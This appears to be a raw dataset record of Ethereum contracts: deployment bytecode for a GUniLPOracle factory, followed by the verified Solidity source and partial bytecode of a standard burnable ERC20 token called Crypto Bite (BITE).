0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635f495ab51461003b578063a97e5c931461009d575b600080fd5b610081600480360360a081101561005157600080fd5b506001600160a01b03813581169160208101358216916040820135916060810135821691608090910135166100d7565b604080516001600160a01b039092168252519081900360200190f35b6100c3600480360360208110156100b357600080fd5b50356001600160a01b031661036f565b604080519115158252519081900360200190f35b600080856001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561011357600080fd5b505afa158015610127573d6000803e3d6000fd5b505050506040513d602081101561013d57600080fd5b50516040805163d21220a760e01b815290519192506000916001600160a01b0389169163d21220a7916004808301926020929190829003018186803b15801561018557600080fd5b505afa158015610199573d6000803e3d6000fd5b505050506040513d60208110156101af57600080fd5b505160405190915087908790879087906101c890610384565b80856001600160a01b03168152602001848152602001836001600160a01b03168152602001826001600160a01b03168152602001945050505050604051809103906000f08015801561021e573d6000803e3d6000fd5b509250826001600160a01b03166365fae35e896040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561027057600080fd5b505af1158015610284573d6000803e3d6000fd5b505060408051639c52a7f160e01b815230600482015290516001600160a01b0387169350639c52a7f19250602480830192600092919082900301818387803b1580156102cf57600080fd5b505af11580156102e3573d6000803e3d6000fd5b5050506001600160a01b0380851660008181526020818152604091829020805460ff1916600117905581518d85168152908101929092528181018a905288831660608301528783166080830152518483169350918516917f9d2e6adfc7f2069cf343e6afdd74fe5090b2a67426e1944e6791514df0edaf449181900360a00190a3505095945050505050565b60006020819052908152604090205460ff1681565b611f7c806103928339019056fe6101406040526001805462ffff001916620e10001790553480156200002357600080fd5b5060405162001f7c38038062001f7c833981810160405260808110156200004957600080fd5b50805160208201516040830151606090930151919290916001600160a01b038416620000bc576040805162461bcd60e51b815260206004820181905260248201527f47556e694c504f7261636c652f696e76616c69642d7372632d61646472657373604482015290519081900360640190fd5b6001600160a01b03821615801590620000dd57506001600160a01b03811615155b6200011a5760405162461bcd60e51b815260040180806020018281038252602381526020018062001f596023913960400191505060405180910390fd5b3360008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a2836001600160a01b03166080816001600160a01b031660601b815250508260a081815250506000846001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015620001b457600080fd5b505afa158015620001c9573d6000803e3d6000fd5b505050506040513d6020811015620001e057600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b1580156200022557600080fd5b505afa1580156200023a573d6000803e3d6000fd5b505050506040513d60208110156200025157600080fd5b505160ff1690506012811115620002af576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f746f6b656e302d6465632d67742d3138000000604482015290519081900360640190fd5b80600a0a60c0818152505080601203600a0a61010081815250506000856001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030557600080fd5b505afa1580156200031a573d6000803e3d6000fd5b505050506040513d60208110156200033157600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b1580156200037657600080fd5b505afa1580156200038b573d6000803e3d6000fd5b505050506040513d6020811015620003a257600080fd5b505160ff169050601281111562000400576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f746f6b656e312d6465632d67742d3138000000604482015290519081900360640190fd5b600a81810a60e052601291909103900a6101205250600580546001600160a01b039384166001600160a01b03199182161790915560068054929093169116179055505060805160601c60a05160c05160e0516101005161012051611abf6200049a600039806116665250806116335250806113fb5250806113ce525080610b435250806109235280611456528061155b5250611abf6000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610921565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610945565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3b565b6102d4610b41565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b65565b6102d4610b77565b61018a610c3d565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cad565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e39565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ede565b610223610f75565b6103a4610f84565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f8d565b6102d4611023565b6103f0611070565b604080519115158252519081900360200190f35b61040c611089565b604080516001600160e81b039092168252519081900360200190f35b61043061109f565b6040805161ffff9092168252519081900360200190f35b6101806110ae565b6102d46004803603602081101561046557600080fd5b50356001600160a01b0316611135565b610223611147565b6101806004803603602081101561049357600080fd5b50356001600160a01b0316611156565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f69732d73746f70706564000000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f6e6f742d706173736564000000000000000000604482015290519081900360640190fd5b50506000610677611254565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f696e76616c69642d7072696365000000000000604482015290519081900360640190fd5b6106dc6119c4565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610873576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b60016002600085858581811061088557fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e657fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b33600090815260208190526040902054600114610997576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b61ffff8111156109ee576040805162461bcd60e51b815260206004820152601860248201527f47556e694c504f7261636c652f696e76616c69642d686f700000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a8d576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600060026000858585818110610aaa57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0b57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a90565b7f000000000000000000000000000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc55760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2c576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f6e6f2d63757272656e742d76616c7565000000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c8d5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610cff576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116610d57576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b81610d7c57600580546001600160a01b0319166001600160a01b038316179055610df2565b8160011415610da557600680546001600160a01b0319166001600160a01b038316179055610df2565b6040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f696e76616c69642d6964000000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e8b576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f30576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fdf576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104557506000610c3a565b60015461106b90630100000081046001600160e81b031690610100900461ffff166116fc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611100576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111a8576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116611200576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b600080600560009054906101000a90046001600160a01b03166001600160a01b03166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a557600080fd5b505afa1580156112b9573d6000803e3d6000fd5b505050506040513d60208110156112cf57600080fd5b505190508061130f5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d602081101561137e57600080fd5b50519050806113be5760405162461bcd60e51b81526004018080602001828103825260238152602001806119dc6023913960400191505060405180910390fd5b600061144f60306114366113f2857f000000000000000000000000000000000000000000000000000000000000000061175a565b61142961141f887f000000000000000000000000000000000000000000000000000000000000000061175a565b600160601b61175a565b8161143057fe5b046117c6565b6001600160801b0316901b6001600160801b031661190e565b90506000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663b670ed7d846040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050604080518083038186803b1580156114c057600080fd5b505afa1580156114d4573d6000803e3d6000fd5b505050506040513d60408110156114ea57600080fd5b5080516020909101519092509050811515806115065750600081115b611557576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f696e76616c69642d62616c616e636573000000604482015290519081900360640190fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115b257600080fd5b505afa1580156115c6573d6000803e3d6000fd5b505050506040513d60208110156115dc57600080fd5b50519050633b9aca008110156116235760405162461bcd60e51b8152600401808060200182810382526023815260200180611a676023913960400191505060405180910390fd5b60008161168f61165c89611657887f000000000000000000000000000000000000000000000000000000000000000061175a565b61175a565b61168a89611657887f000000000000000000000000000000000000000000000000000000000000000061175a565b61196c565b8161169657fe5b049050600160801b81106116f1576040805162461bcd60e51b815260206004820152601b60248201527f47556e694c504f7261636c652f71756f74652d6f766572666c6f770000000000604482015290519081900360640190fd5b979650505050505050565b80820382811115611754576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f7375622d756e646572666c6f77000000000000604482015290519081900360640190fd5b92915050565b60008115806117755750508082028282828161177257fe5b04145b611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6d756c2d6f766572666c6f7700000000000000604482015290519081900360640190fd5b6000816117d557506000611909565b816001600160801b82106117ee5760809190911c9060401b5b6801000000000000000082106118095760409190911c9060201b5b64010000000082106118205760209190911c9060101b5b6201000082106118355760109190911c9060081b5b61010082106118495760089190911c9060041b5b6010821061185c5760049190911c9060021b5b600882106118685760011b5b600181858161187357fe5b048201901c9050600181858161188557fe5b048201901c9050600181858161189757fe5b048201901c905060018185816118a957fe5b048201901c905060018185816118bb57fe5b048201901c905060018185816118cd57fe5b048201901c905060018185816118df57fe5b048201901c905060008185816118f157fe5b0490508082106119015780611903565b815b93505050505b919050565b806001600160a01b0381168114611909576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f75696e743136302d6f766572666c6f77000000604482015290519081900360640190fd5b80820182811015611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6164642d6f766572666c6f7700000000000000604482015290519081900360640190fd5b60408051808201909152600080825260208201529056fe47556e694c504f7261636c652f696e76616c69642d6f7261636c652d312d707269636547556e694c504f7261636c652f6e6f742d617574686f72697a6564000000000047556e694c504f7261636c652f636f6e74726163742d6e6f742d77686974656c697374656447556e694c504f7261636c652f696e76616c69642d6f7261636c652d302d707269636547556e694c504f7261636c652f746f74616c2d737570706c792d746f6f2d736d616c6ca2646970667358221220869df76b56e08bd8fae51cc93bbbd6e3973eb722c14fb3c70763bc9656afd8a964736f6c634300060c003347556e694c504f7261636c652f696e76616c69642d6f7261636c652d61646472657373a2646970667358221220324feb29fe1fb4d009b306f1241e6fda92b67bee91e7b675609d210c3a0799c464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,466
0x5f6638547e80c6e4820598543a0e1d42e272b164
/** *Submitted for verification at Etherscan.io on 2021-05-07 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Crypto Bite' token contract // // Symbol : BITE // Name : Crypto Bite // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract BITE is BurnableToken { string public constant name = "Crypto Bite"; string public constant symbol = "BITE"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600b81526020017f43727970746f204269746500000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f424954450000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff